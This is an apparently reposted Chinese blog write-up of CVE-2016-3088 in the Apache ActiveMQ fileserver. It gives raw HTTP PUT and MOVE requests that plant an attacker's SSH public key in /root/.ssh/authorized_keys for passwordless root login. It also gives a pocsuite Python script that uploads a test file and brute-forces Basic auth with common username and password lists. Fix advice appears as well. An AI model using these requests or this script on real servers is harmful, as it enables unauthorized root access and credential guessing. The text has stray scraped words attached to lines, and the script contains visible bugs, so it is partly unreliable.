CVE-2016-3088 ActiveMQ Fileserver web application vulnerabilitie

概述

該漏洞被髮布在http://cve.scap.org.cn/CVE-2016-3088.html,官方發佈的位置是http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txthtml

 

影響版本

按照官方說法影響版本爲python

Apache ActiveMQ 5.0.0 - 5.13.2

 

漏洞成因

按照官網的說法該漏洞是由於開啓了filesever服務,用戶能夠進行任意文件上傳,進而達到任意代碼執行的目的。通過本人對該漏洞的研究發現,漏洞的主要成由於兩步,第一步使用PUT方法上傳文件,第二步使用MOVE方法進行文件移動,這兩步缺了一步都不能實現遠程代碼執行的目的。linux

 

驗證方法

通過本人對activemq5.0.0,5.10.0,5.10.1,5.11.0,5.11.1,5.11.2windows版本的測試,和5.12.2的linux版本進行測試,發現使用put進行文件上傳通常都可以成功,可是使用move進行文件移動不能移動到web目錄下,大部分能夠移動到系統目錄下,可是也有不肯定性,而且存在有時候須要auth驗證,有時候不須要auth驗證的狀況。所以驗證過程須要修改系統文件不存在無傷驗證的方式,故這裏的驗證只是驗證文件可否上傳,若是能上傳則認爲存在該漏洞。git

驗證使用的http報文爲github

PUT /fileserver/x.txt HTTP/1.1
Host: 127.0.0.1:8161
Content-Length: 2

11

 

若是須要auth驗證那麼加上auth頭web

Authorization: Basic base64(admin:admin)

這裏須要主要Basic後面的內容須要作base64編碼,內容爲用戶名:密碼apache

 

利用方法

由於大部分版本不能MOVE到fileserver的web目錄,因此在利用過程當中通常能夠嘗試爆web服務的操做系統目錄進行文件上傳和更名,在linux系統下能夠直接覆蓋/root/.ssh/authorized_keys文件,將本身的公鑰傳到這個位置進行ssh免密碼登陸,由於大多數版本不能直接MOVE到fileserver的web目錄,因此這個漏洞利用起來須要其餘的信息。下面介紹一下使用ssh免密碼登陸的利用方式。windows

第一步PUT公鑰到fileserver的web目錄服務器

PUT /fileserver/rsa_pub HTTP/1.1
Host: 127.0.0.1:8161
Content-Length: 167

ssh-rsa AAAABsxxxxADAQABAAABAQDxxxxDtwjkzf5YbYOnMvUxxxX1sU/d+WtSxx+6RGeL+qIp2AGJVB6M0qHF+OEWubBIlxxxhMd53tRhnTJFiApj413SBxxxxxxxxxT+mgSnGmjh1y+VOhnOhxxVfqU7/ johnxxx

第二步MOVE公鑰到.ssh/authorized_keys文件中app

MOVE /fileserver/rsa_pub HTTP/1.1
Host: 127.0.0.1:8161
Destination: file:///root/.ssh/authorized_keys

這樣使用本身的ssh客戶端就能夠進行登陸了,生成公鑰的方式自行百度。

修復方式

按照官網的說法老版本不可以使用fileserver服務,按照個人理解新版本能不用就不用,而且在新版本中沒看到fileserver服務,因此默認是取消了該服務,期待有人可以研究源碼作出更好的補丁。補丁的下手方式可使禁用MOVE方法,或者不容許MOVE方法MOVE到可執行的目錄,和操做系統目錄。

 

檢測POC

本文貼出使用知道創宇的pocsuite寫出來的POC

#!/usr/bin/python
# -*- coding: utf-8 -*-


# If you have issues about development, please read:
# https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md
# https://github.com/knownsec/Pocsuite/blob/master/docs/COPYING

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import urllib2
import random
import base64

# custom 301 and 302 redirection, disallow urllib2 perform automatic redirection
class RedirctHandler(urllib2.HTTPRedirectHandler):
    def http_error_301(self, req, fp, code, msg, headers):
        pass;

    def http_error_302(self, req, fp, code, msg, headers):
        pass;


def init():
    debug_handler = urllib2.HTTPHandler(debuglevel=0)
    proxy_handler = urllib2.ProxyHandler({});
    opener = urllib2.build_opener(debug_handler, RedirctHandler, proxy_handler)
    urllib2.install_opener(opener);


class TestPOC(POCBase):
    name = 'CVE-2016-3088-activemq-fileserver-put'
    vulID = '78176'  # https://www.seebug.org/vuldb/ssvid-78176
    author = ['kongzhen']
    vulType = 'file-upload'
    version = '0.1'  # default version: 1.0
    references = ['null']
    desc = '''The vulnerability is caused miss configuration of 
    activemq fileserver.'''

    vulDate = '2016-11-10'
    createDate = '2016-11-10'
    updateDate = '2016-11-10'

    appName = 'activemq'
    appVersion = 'Apache Group ActiveMQ 5.0.0 - 5.13.2'
    appPowerLink = ''
    samples = ['']
    inited = False;

    def _attack(self):
        '''attack mode'''
        return self._verify()


    def method_put(self, header, url, content):
        request = urllib2.Request(url);
        request.get_method = lambda:"PUT";
        for key in header.keys():
            request.addheader(key, header.get(key));
        resp = None;
        success = False;
        try:
            resp = urllib2.urlopen(request, content);
            if resp.code >= 200 and resp.code < 300:
                success = True;
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        finally:
            if resp:
                resp.close();
        return success;
            
    
    def method_move(self, header, url):
        request = urllib2.Request(url);
        request.get_method = lambda:"MOVE";
        for key in header.keys():
            request.add_header(key, header.get(key));
        resp = None;
        success = False;
        try:
            resp = urllib2.urlopen(request, content);
            if resp.code >= 200 and resp.code < 300:
                success = True;
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        finally:
            if resp:
                resp.close();
        return success;
                
    def method_get(self, header, url):
        request = urllib2.Request(url);
        for key in header.keys():
            request.add_header(key, header.get(key));
        resp = None;
        success = False;
        content = None;
        try:
            resp = urllib2.urlopen(request, content);
            if resp.code >= 200 and resp.code < 300:
                success = True;
                content = resp.read();
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        finally:
            if resp:
                resp.close();
        return {"success":success, "content":content};
    
    
    def _verify(self):
        url = self.url + '/fileserver/cve2016-3088test';
        content = "cve2016-3088test";
        urlmagic = "-magic%s"%(str(random.randint(0, 100)));
        put_status =  self.method_put({}, url+urlmagic, content) ;
        tmp = self.method_get({}, url+urlmagic)
        get_status = tmp["success"] and tmp["content"].find(content) != -1;
        if put_status and get_status:
            result = {};
            result['VerrifyInfo'] = {};
            result['VerrifyInfo']['URL'] = self.url
            return self.parse_output(result);
        password_file = "pocsuite/data/password-top100.txt";
        username_file = "pocsuite/data/username-top100.txt";
        fusername = open(username_file);
        fpassword = open(password_file);
        authorazation_header = None;
        valid_user_password = None;
        for username in fusername.readlines():
            for password in fpassword.readline():
                username = username.replace("\n", "");
                username = username.replace("\r", "");
                pasword = password.replace("\n", "");
                pasword = password.replace("\r", "");
                if self.method_put({"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(username, password)))}, url+urlmagic, content):
                    authorazation_header = {"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(username, password)))}
                    valid_user_password = "%s:%s"%(username,password);
                    break;
        if authorazation_header == None:
            result = None;
            return self.parse_output(result);
        else:
            tmp = self.method_get(authorazation_header, url+urlmagic);
            if tmp["success"] and tmp["content"].find(content) != -1:
                result = {};
                result['VerrifyInfo'] = {};
                result['VerrifyInfo']['URL'] = self.url
                result['VerrifyInfo']['Postdata'] = valid_user_password;
                return self.parse_output(result);
        #never reached

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

 

結語

該漏洞因爲須要其餘的信息,而且官方的不一樣版本存在不能穩定put和move的狀況,不一樣服務器存在不一樣配置的狀況,因此相對雞肋。可是幾個信息一旦結合危害比較大。

相關文章
相關標籤/搜索